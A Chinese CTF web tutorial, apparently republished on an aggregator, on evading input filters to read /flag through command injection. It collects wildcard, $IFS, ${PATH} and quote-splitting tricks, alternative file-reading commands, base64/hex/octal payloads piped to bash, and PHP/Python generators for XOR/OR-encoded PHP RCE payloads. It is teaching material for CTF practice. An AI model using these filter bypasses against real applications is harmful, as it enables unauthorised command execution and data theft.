CTF(Web)中关于执行读取文件命令的相关知识与绕过技巧

news2024/11/24 17:35:43

 在我遇到的题目中,想要读取文件必然是要执行cat /flag这个命令,但是题目当然不会这么轻松。让你直接cat出来,必然会有各种各样的滤过条件,你要做的就是尝试各种方法在cat /flag的基础上进行各种操作构建出最终的payload。

下面我就总结一下一些比较常见的过滤的条件和绕过方式。

(其实过滤条件主要都是对字符的限制,再有就是对长度的限制。)

一.文件名被过滤

我按自己的想法分为两大类

关键词过滤

当过滤不是逐个字母比对时(也就是关键词过滤),我们依然可以使用cat这个命令来操作,因此我们主要是操作“flag”这个字符串,使其不用不用这四个字符也能表示flag这个文件。

因此我们就逐个尝试这几种绕过方法。

1.* 通配文件,在linux里f*可以指代任何以f开头的文件 f*就可以表示flag文件因此我们构建出的payload是 cat /f*,

2.?匹配文件名:可以用?代替滤过字符 f???,就代表任意一个f开头四个字符的文件,自然也可以代表flag,因此

payload是 cat /f???

3.正则匹配: 其实与上述类似,用一个范围代表字符 [9-q]可以匹配早ascll码在9到q之间的字符。

payload是 cat /[9-q][9-q][9-q][9-q]

4.分割文件名,在linux里在字母中间插上‘ “ \这样的字符不会影响,因此可以在其中插入构建payload

其实如果只是关键词过滤的话还挺好绕过的。当然关键词绕过方法,和下面逐个字母比对的绕过有一些方法是重合的,但明显如果只是简单的关键词绕过没有必要搞一些编码什么的。

字符过滤

这个就比较苛刻了,因为题目限制的任何字符都不能出现,比如一般将flag字符进行过滤的也直接把cat给ban了因为cat同样也含有a字符

小ban

ban的字符比较少,凑吧凑吧能构建出payload

1.  / 被过滤:在linux中echo ${PATH}可以输出文件路径在而${PATH:0:1}便取到了/字符,

因此echo ${PATH:0:1}便是代表 /,当然还有很多写法代表/,比如${PATH:4:1}.${PWD:0:1}.${SHELL:0:1}等可以酌情选择

2.空格被过滤同样也可以找代表字符的变量 比如$IFS ${IFS} 或者这样表示{cat,/flag}也可以,我还遇到过一个方法就是使用< 可以这样cat</flag,在前边加<<<也可以表示输入流

3.若是cat的一些字符被ban也可以选择换几个读取命令,下面介绍几个命令

cat(用于连接文件并打印到标准输出设备上)

tac (用于将文件以行为单位反序输出)

more(类似cat命令,会一页一页的显示)我在实战中用到过

less(作用与more类似,都用来浏览文本文件中的内容)

head(可用于查看文件开头部分的内容,后边可选择加以个 -n参数表示显示几行,默认显示10行)

tail(与head类似,但它默认显示后10行)

nl (可以为输出列加上编号)

sed 可以这样构造 sed p /f*

sort(用于将文本文件内容加以排序)

uniq(删除文件中的连续重复行 如果你在不使用任何参数的情况下使用 uniq 命令,它将删除所有连续的重复行,只显示唯一的行)

rev (反转一个或多个文件的行)会把flag倒叙输出

od (od(Octal Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方式是八进制。)

vim (这俩都是Linux里的文件编辑器,我们在网页直接用system("vim /f*");虽然不会进入编辑模式但还是可以看到里面的内容。)

man(man 命令是 Linux 下的帮助指令,通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息,类似于vim/vi,直接对文本运行可以看到文本内容。)

paste (使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。)

grep(查找文件里符合条件的字符串)可以这样构造 grep { /f*

file (查看文件信息或类型) file -f /f*

dd (用于读取、转换并输出数据。) 后要加 if=/flag(有点鸡肋,因为f一般会被ban)

大ban

被ban的字符很多,或者只能用几个特定的字符,上述的一些方法就构造不出payload了,这时就要用到较为麻烦的方法了,那就是编码。下面着重介绍几个并附上脚本。(找到合适的编码方式后,还要考虑该方式能不能被识别出来,构造不对就可能被认为是字符串而已)

1.base64编码 echo ’编码后的‘ |base64 -d | bash

2.hex编码 echo ”    “ |xxd -r -p |bash

补充知识:管道符 | 会将前一个命令执行的结果当作第二个命令的输入。

xxd命令:它能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,用法是:xxd /f*

3.oct编码 当你看到白名单中有数字,$  \  ' ' 基本可以确定要用这种编码方式$' ',单引号里加入编码后的内容,空格一般不能被识别,所以可以在空格处断开 $' '<$' '这样就可以了。

下面附上脚本4.异或 同或()

在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

或与其原理相同。

下面附上两个脚本

异或

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

    if($i<16){
        $hex_i='0'.dechex($i);
    }
    else{
        $hex_i=dechex($i);
    }
    if($j<16){
        $hex_j='0'.dechex($j);
    }
    else{
        $hex_j=dechex($j);
    }
    $preg = '/[flag$\/*?;]/';   // 根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
        echo "";
    }
    else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

注意根据题目过滤要求修改一下正则

执行后会生成一个txt文件,将其粘贴至下一个python脚本文件夹下

# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

运行python,在控制板输入你要编码的内容。

或的方式相同,不做赘述,附上php与python脚本

<?php


$myfile = fopen("or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }
        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }
        $preg = '/[flag$\/*?;]/';    // 根据题目给的正则表达式修改即可
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }

    }
}
fwrite($myfile, $contents);
fclose($myfile);
# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("or_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1646505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis学习汇总

目录 1.Linux环境下安装redis 2.redis的数据结构及命令 3.redis.conf配置文件常用配置 3.redis的事务操作 4.redis实现乐观锁 5.通过jedis操作redis 6.Springboot集成redis 7.自定义一个RedisTemplate 8.持久化策略 RDB和AOF 9.redis集群环境搭建 10.哨兵模式 11.缓…

Java面试题:多线程2

如何停止正在运行的线程 1,使用退出标志,使线程正常退出(run方法中循环对退出标志进行判断) 2,使用stop()方法强行终止(不推荐) 3,调用interrupt()方法中断线程 打断阻塞线程(sleep,wait,join),线程会抛出InterruptedException异常 打断正常的线程,可以根据打断状态来标记…

奶爸预备 |《P.E.T.父母效能训练:让亲子沟通如此高效而简单:21世纪版》 / 托马斯·戈登——读书笔记

目录 引出致中国读者译序前言第1章 父母总是被指责&#xff0c;而非受训练第2章 父母是人&#xff0c;不是神第3章 如何听&#xff0c;孩子才会说&#xff1a;接纳性语言第4章 让积极倾听发挥作用第5章 如何倾听不会说话的婴幼儿第6章 如何听&#xff0c;孩子才肯听第8章 通过改…

【春招特供】Unity面试题总结 | Unity基础篇

物体发生碰撞的必要条件&#xff1f; 两个物体都必须带有碰撞器&#xff08;Collider&#xff09;&#xff0c;其中一个物体还必须带有Rigidbody刚体&#xff0c;而且必须是运动的物体带有Rigidbody脚本才能检测到碰撞。 2. Unity3d中的碰撞器和触发器的区别&#xff1f; 碰…

【LeetCode 121】买卖股票的最佳时机

思路 思路&#xff1a; 所谓代码的复杂性来源于业务的复杂性&#xff0c;如果能够想清楚业务实现逻辑&#xff0c;就能够轻松写出代码&#xff1b; 假设当前是第i天&#xff0c;如何在第i天赚到最多的钱&#xff1f;需要在第i天之前以最低价买入股票&#xff1b; 所以需要求…

[渗透利器]全能工具=信息收集->漏洞扫描->EXP调用

前言 hxd开发的工具&#xff0c;大致模块有&#xff08;信息收集&#xff0c;漏洞扫描&#xff0c;暴力破解&#xff0c;POC/EXP&#xff0c;常用编码&#xff09; 工具使用 下载后解压 安装环境 pip install -r requirements.txt 注意&#xff0c;该工具继承了两种不同的使…

深入了解C/C++的内存区域划分

&#x1f525;个人主页&#xff1a;北辰水墨 &#x1f525;专栏&#xff1a;C学习仓 本节我们来讲解C/C的内存区域划分&#xff0c;文末会附加一道题目来检验成果&#xff08;有参考答案&#xff09; 一、大体有哪些区域&#xff1f;分别存放什么变量开辟的空间&#xff1f; …

Django高级表单处理与验证实战

title: Django高级表单处理与验证实战 date: 2024/5/6 20:47:15 updated: 2024/5/6 20:47:15 categories: 后端开发 tags: Django表单验证逻辑模板渲染安全措施表单测试重定向管理最佳实践 引言&#xff1a; 在Web应用开发中&#xff0c;表单是用户与应用之间进行交互的重要…

工厂模式+策略模式完成多种登录模式的实现

前提 &#xff08;简单工厂不属于设计模式&#xff0c;而是一种编程思想【抽象一层出来】&#xff09;工厂方法模式、抽象工厂模式 以上都是为了解耦&#xff0c;如果考虑多个纬度&#xff08;如需要同时考虑多种电器&#xff0c;多种品牌&#xff09;则优先考虑抽象工厂。 …

iMazing下载安装不了怎么办?

iMazing是一款可用于iPhone、iPad等ios移动设备管理软件&#xff0c;但需要注意的是&#xff0c;iMazing只能安装在Windows与Mac系统中&#xff0c;不能安装在iOS移动设备上。iOS移动设备可以通过USB线或Wi-Fi连接Windows或Mac系统上的iMazing软件。 iMazing的安装失败&#x…

Linux--IIC驱动编程实验

对于 I2C 主机驱动&#xff0c;一旦编写完成就不需要再做修改&#xff0c;其他的 I2C 设备直接调用主机驱动提供的 API 函数完成读写操作即可。这个正好符合 Linux 的驱动分离与分层的思想&#xff0c;因此 Linux内核也将 I2C 驱动分为两部分&#xff1a; ①、 I2C 总…

3.栈和队列(汇总版)

目录 1.栈&#xff08;一端插和删&#xff09; 2.队列&#xff08;一端插另一段删&#xff09; 2.1队列的概念及结构 2.2 队列的实现 队列的接口 1.初始化队列 2.销毁队列 3.插入元素 4.出队列&#xff08;头删&#xff09; 5.访问对头 6.访问队尾 7.判断队列是否为…

练习题(2024/5/6)

1路径总和 II 给你二叉树的根节点 root 和一个整数目标和 targetSum &#xff0c;找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [5,4,8,11,null,13,4,7,2,null,null,5,1], target…

【漏洞复现】某小日子太阳能系统DataCube3审计

漏洞描述 某小日子太阳能系统DataCube3终端测量系统 多个漏洞利用方式 免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进…

一起了解开源自定义表单的优势表现

随着社会的进步和科技的发展&#xff0c;越来越多的中小企业希望采用更为先进的软件平台&#xff0c;助力企业实现高效率的流程化管理。低代码技术平台、开源自定义表单已经慢慢走入大众视野&#xff0c;成为一款灵活、高效的数字化转型工具。流辰信息专注于低代码技术平台的研…

GitOps介绍

基础设施即代码 IaC 在理解 GitOps 之前&#xff0c;需要先理解什么是基础设施即代码。 基础设施即代码&#xff08;Infrastructure as Code&#xff0c;简称IaC&#xff09;是一种软件工程实践&#xff0c;它将基础设施的管理和配置过程像管理代码一样进行版本控制、自动化和…

RabbitMQ是怎么做消息分发的?——Java全栈知识(14)

RabbitMQ是怎么做消息分发的&#xff1f; RabbitMQ 的消息分发分为五种模式&#xff1a;分别是简单模式、工作队列模式、发布订阅模式、路由模式、主题模式。 1、简单模式 publisher 直接发送消息到队列消费者监听并处理队列中的消息 简单模式是最基本的工作模式&#xff0c;…

C++:哈希表和unordered系列容器的封装

一、unordered系列关联式容器的介绍 在C98中&#xff0c;STL提供了底层为红黑树结构的一系列关联式容器&#xff0c;在查询时效率可达到log2N&#xff0c;即最差情况下需要比较红黑树的高度次&#xff0c;当树中的节点非常多时&#xff0c;查询效率也不理想。最好的查询是&…

软件测试必问的33个面试题

1.你为什么选择软件测试行业 因为之前有了解软件测试这个行业&#xff0c;觉得他的发展前景很好。 2.根据你以前的工作经验描述一下软件开发、测试过程&#xff0c;由那些角色负责&#xff0c;你做什么 要有架构师、开发经理、测试经理、程序员、测试员。我在里面主要是负责所…

软件公司为什么很少接二开项目?

前言 很多企业由于原有项目还在继续运营&#xff0c;但原有技术公司不想再合作或者不想再维持整个技术团队等原因&#xff0c;就需要找一个新的软件公司继续维护原有软件系统。但是一接触往往发现很多软件公司拒绝接手第三方的软件项目&#xff0c;这究竟是什么原因呢&#xff…